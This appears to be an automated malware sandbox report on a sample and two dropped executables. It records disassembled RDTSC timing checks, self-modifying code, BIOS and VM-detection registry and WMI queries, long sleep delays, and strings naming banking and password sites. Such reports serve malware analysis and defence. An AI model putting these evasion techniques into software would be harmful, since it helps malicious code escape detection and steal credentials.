Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520892 second address: 5520896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520896 second address: 5520907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8784D62274h 0x00000013 and ah, FFFFFFF8h 0x00000016 jmp 00007F8784D6226Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F8784D62278h 0x00000022 or si, A858h 0x00000027 jmp 00007F8784D6226Bh 0x0000002c popfd 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520907 second address: 552090B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 552090B second address: 5520911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520911 second address: 55209A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8784B30563h 0x00000009 sub al, FFFFFFCEh 0x0000000c jmp 00007F8784B30569h 0x00000011 popfd 0x00000012 mov si, E9D7h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F8784B3055Fh 0x00000023 adc ecx, 6424B9DEh 0x00000029 jmp 00007F8784B30569h 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007F8784B30560h 0x00000035 adc eax, 5186F1D8h 0x0000003b jmp 00007F8784B3055Bh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55209A4 second address: 5520A22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov eax, 162CB813h 0x00000011 pushfd 0x00000012 jmp 00007F8784D62278h 0x00000017 jmp 00007F8784D62275h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F8784D6226Ch 0x00000026 xor cl, FFFFFFF8h 0x00000029 jmp 00007F8784D6226Bh 0x0000002e popfd 0x0000002f movzx esi, bx 0x00000032 popad 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520A22 second address: 5520A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520A26 second address: 5520A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520A2C second address: 5520A4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30566h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520A4D second address: 5520A6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520A6A second address: 5520AE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d mov ax, 2B73h 0x00000011 mov dx, ax 0x00000014 popad 0x00000015 test esi, esi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F8784B3055Ch 0x0000001e adc cx, 6A78h 0x00000023 jmp 00007F8784B3055Bh 0x00000028 popfd 0x00000029 popad 0x0000002a je 00007F87F49EDE60h 0x00000030 jmp 00007F8784B30566h 0x00000035 cmp dword ptr [7544459Ch], 05h 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F8784B30567h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520AE9 second address: 5520AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520AEF second address: 5520AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520AF3 second address: 5520B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F87F4C37C02h 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 movzx eax, bx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520BBA second address: 5520BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ecx, 2CA9921Dh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8784B30565h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520BDF second address: 5520BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520BE5 second address: 5520BFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520C16 second address: 5520C38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62277h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 435A9E second address: 435AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 42EBAC second address: 42EBB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 42EBB0 second address: 42EBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F8784B30563h 0x0000000c jmp 00007F8784B3055Bh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 42EBC9 second address: 42EBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8784D62266h 0x0000000a jo 00007F8784D62266h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 42EBD9 second address: 42EBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 434C44 second address: 434C9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62275h 0x00000008 jnp 00007F8784D62266h 0x0000000e jmp 00007F8784D62270h 0x00000013 popad 0x00000014 push esi 0x00000015 jmp 00007F8784D6226Dh 0x0000001a jmp 00007F8784D62275h 0x0000001f pop esi 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 434C9E second address: 434CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F8784B30556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 434CAE second address: 434CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 434CB2 second address: 434CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 434DD8 second address: 434DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F8784D6226Dh 0x0000000e jnp 00007F8784D62272h 0x00000014 jnc 00007F8784D62266h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 434DFC second address: 434E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F8784B30568h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 438665 second address: 438669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 438758 second address: 4387C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F8784B30568h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F8784B3055Bh 0x00000018 pop eax 0x00000019 push eax 0x0000001a stc 0x0000001b pop ecx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F8784B30558h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a cmc 0x0000003b push 00000003h 0x0000003d xor dword ptr [ebp+122D3657h], ecx 0x00000043 push E10E4E93h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 4387C4 second address: 4387C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 4387C8 second address: 4387CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 4388D0 second address: 4388DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 4388DA second address: 438901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8784B30569h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 438AEB second address: 438AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 438AF1 second address: 438AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 438AF5 second address: 438BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 73C8A43Eh 0x0000000f mov edx, dword ptr [ebp+122D2CCEh] 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D1E10h] 0x0000001d push 00000000h 0x0000001f jmp 00007F8784D62278h 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F8784D62268h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov edi, ecx 0x00000042 mov cx, 7F1Ah 0x00000046 sub esi, 37697B7Fh 0x0000004c push EE62F643h 0x00000051 pushad 0x00000052 pushad 0x00000053 push esi 0x00000054 pop esi 0x00000055 jc 00007F8784D62266h 0x0000005b popad 0x0000005c jne 00007F8784D62268h 0x00000062 popad 0x00000063 xor dword ptr [esp], 2E62F643h 0x0000006a jmp 00007F8784D62277h 0x0000006f lea ebx, dword ptr [ebp+1244E59Ch] 0x00000075 mov edi, dword ptr [ebp+122D2CD2h] 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f pushad 0x00000080 popad 0x00000081 jmp 00007F8784D62278h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 438BBD second address: 438BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B30563h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 449FF5 second address: 44A00E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62275h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 44A00E second address: 44A018 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8784B3055Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 44A018 second address: 44A02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8784D6226Dh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 456C8D second address: 456CA1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8784B30558h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jnl 00007F8784B30556h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	RDTSC instruction interceptor: First address: 457079 second address: 457098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D62275h 0x00000009 jo 00007F8784D62266h 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Special instruction interceptor: First address: DB7CF7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Special instruction interceptor: First address: DE2E85 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Special instruction interceptor: First address: E44E40 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Special instruction interceptor: First address: 2BDCD6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Special instruction interceptor: First address: 45B99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Special instruction interceptor: First address: 45A8A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Special instruction interceptor: First address: 48355B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Special instruction interceptor: First address: 4EBFFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Special instruction interceptor: First address: 77FD88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Special instruction interceptor: First address: 77FE2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Special instruction interceptor: First address: 945762 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Special instruction interceptor: First address: 9A4BDE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Memory allocated: 49C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Memory allocated: 4BD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Memory allocated: 6BD0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Code function: 3_2_004389CE rdtsc

3_2_004389CE

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

Code function: 0_3_0160C3DE sldt word ptr [eax]

0_3_0160C3DE

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe TID: 3964	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe TID: 3956	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe TID: 1992	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: 225E7CNEQKY05J8BSS2KINA.exe, 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1757032243.00000000008FD000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: FBVmDbz2nb.exe, FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492171889.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492566015.00000000015B7000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1442979210.0000000005ED4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.000000000116E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
